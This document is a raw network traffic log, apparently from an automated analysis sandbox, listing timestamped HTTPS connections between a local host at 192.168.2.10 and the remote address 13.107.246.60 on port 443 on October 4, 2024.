Oct 4, 2024 15:53:50.035468102 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.035583019 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.035599947 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.049252987 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.049526930 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.049616098 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.050569057 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.050569057 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.050587893 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.050601959 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.054328918 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.054347992 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.054426908 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.054668903 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.054680109 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.622612000 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.641453981 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.641494989 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.641978025 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.641989946 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.679121971 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.689135075 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.696614981 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.711160898 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.711194992 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.711693048 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.711704969 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.712181091 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.712208986 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.712642908 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.712647915 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.713213921 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.713243008 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.713617086 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.713623047 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.743108988 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.743643999 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.743710995 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.743721008 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.743782043 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.808569908 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.808743954 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.808990955 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.809067011 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.809070110 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.809120893 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.812098980 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.812500000 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.812578917 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.977344036 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.977344036 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.977374077 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.977385998 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.977513075 CEST	49820	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.977552891 CEST	443	49820	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.022519112 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.022548914 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.027267933 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.027267933 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.027297974 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.027307987 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.316247940 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.316292048 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.316356897 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.317722082 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.317781925 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.317898035 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.327683926 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.327701092 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.328073025 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.328087091 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.330442905 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.330462933 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.330596924 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.330724001 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.330734015 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.331677914 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.331698895 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.331747055 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.351346970 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.351355076 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.979749918 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.984941959 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.984956980 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:51.985924959 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:51.985930920 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.008543015 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.009712934 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.009768963 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.010462999 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.010468960 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.031841993 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.032574892 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.032591105 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.032975912 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.033006907 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.033478975 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.033482075 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.033489943 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.033490896 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.034110069 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.034126043 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.034468889 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.034490108 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.034881115 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.034884930 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.082499027 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.082566977 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.082636118 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.082650900 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.082669020 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.082726955 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.083133936 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.083152056 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.083163977 CEST	49822	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.083169937 CEST	443	49822	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.087615013 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.087645054 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.087754965 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.087922096 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.087934971 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.124769926 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.124845028 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.124931097 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.125339985 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.125358105 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.125394106 CEST	49824	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.125400066 CEST	443	49824	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.131258011 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.131297112 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.131412029 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.133274078 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.133336067 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.133348942 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.133349895 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.133419991 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.133763075 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.133763075 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.133781910 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.133793116 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.135675907 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.135723114 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.135770082 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.135788918 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.135833979 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.135875940 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.136313915 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.136322975 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.136333942 CEST	49823	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.136338949 CEST	443	49823	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.137408018 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.137427092 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.137438059 CEST	49825	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.137451887 CEST	443	49825	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.138735056 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.138767958 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.138834000 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.139035940 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.139045954 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.145489931 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.145529985 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.145637035 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.145854950 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.145868063 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.145898104 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.145905018 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.146347046 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.146544933 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.146553040 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.734677076 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.735192060 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.735217094 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.735846996 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.735856056 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.780015945 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.781147003 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.781166077 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.782239914 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.782246113 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.793186903 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.794203043 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.794203043 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.794226885 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.794236898 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.816009045 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.816847086 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.816860914 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.817584038 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.817590952 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.821904898 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.826251984 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.826262951 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.826702118 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.826706886 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.833518982 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.833842993 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.833892107 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.833914995 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.834008932 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.834048033 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.834048033 CEST	49826	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.834070921 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.834080935 CEST	443	49826	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.837130070 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.837162971 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.837352991 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.837472916 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.837483883 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.878808975 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.879054070 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.879122019 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.879354954 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.879354954 CEST	49827	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.879371881 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.879381895 CEST	443	49827	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.883452892 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.883507967 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.883900881 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.883900881 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.883948088 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.893506050 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.893755913 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.893907070 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.893907070 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.893990993 CEST	49829	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.894007921 CEST	443	49829	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.896763086 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.896790028 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.896929979 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.896995068 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.897003889 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926487923 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926558971 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926592112 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926640034 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926932096 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.926966906 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927234888 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927234888 CEST	49828	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927247047 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.927254915 CEST	443	49828	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.927274942 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927503109 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927503109 CEST	49830	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.927514076 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.927524090 CEST	443	49830	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.930247068 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930285931 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.930291891 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930332899 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.930360079 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930604935 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930619955 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930635929 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:52.930636883 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:52.930644035 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.510106087 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.510968924 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.510984898 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.511461020 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.511466980 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.581674099 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.582150936 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.582169056 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.582957029 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.582962036 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.587840080 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.588005066 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.588215113 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.588229895 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.588630915 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.588635921 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.588745117 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.588879108 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.588885069 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.589036942 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.589050055 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.589410067 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.589412928 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.589555025 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.589559078 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.609318018 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.609385014 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.609467983 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.609622955 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.609652996 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.609663963 CEST	49831	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.609669924 CEST	443	49831	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.612732887 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.612770081 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.612828970 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.612972975 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.612986088 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.680603981 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.680740118 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.681212902 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.681878090 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.681898117 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.681912899 CEST	49833	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.681919098 CEST	443	49833	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.685564995 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.685585022 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.685666084 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.685789108 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.685803890 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.689301968 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.689560890 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.689601898 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.689871073 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.689940929 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.689959049 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.690279007 CEST	49832	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.690285921 CEST	443	49832	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.691171885 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.691428900 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.691514015 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.691854000 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.691982985 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.692028046 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.692888021 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.692893028 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.692904949 CEST	49834	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.692909002 CEST	443	49834	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.704463959 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.704463959 CEST	49835	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.704479933 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.704488039 CEST	443	49835	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.706990004 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.707014084 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.707071066 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.708992004 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709027052 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.709083080 CEST	49840	443	192.168.2.10	13.107.246.60
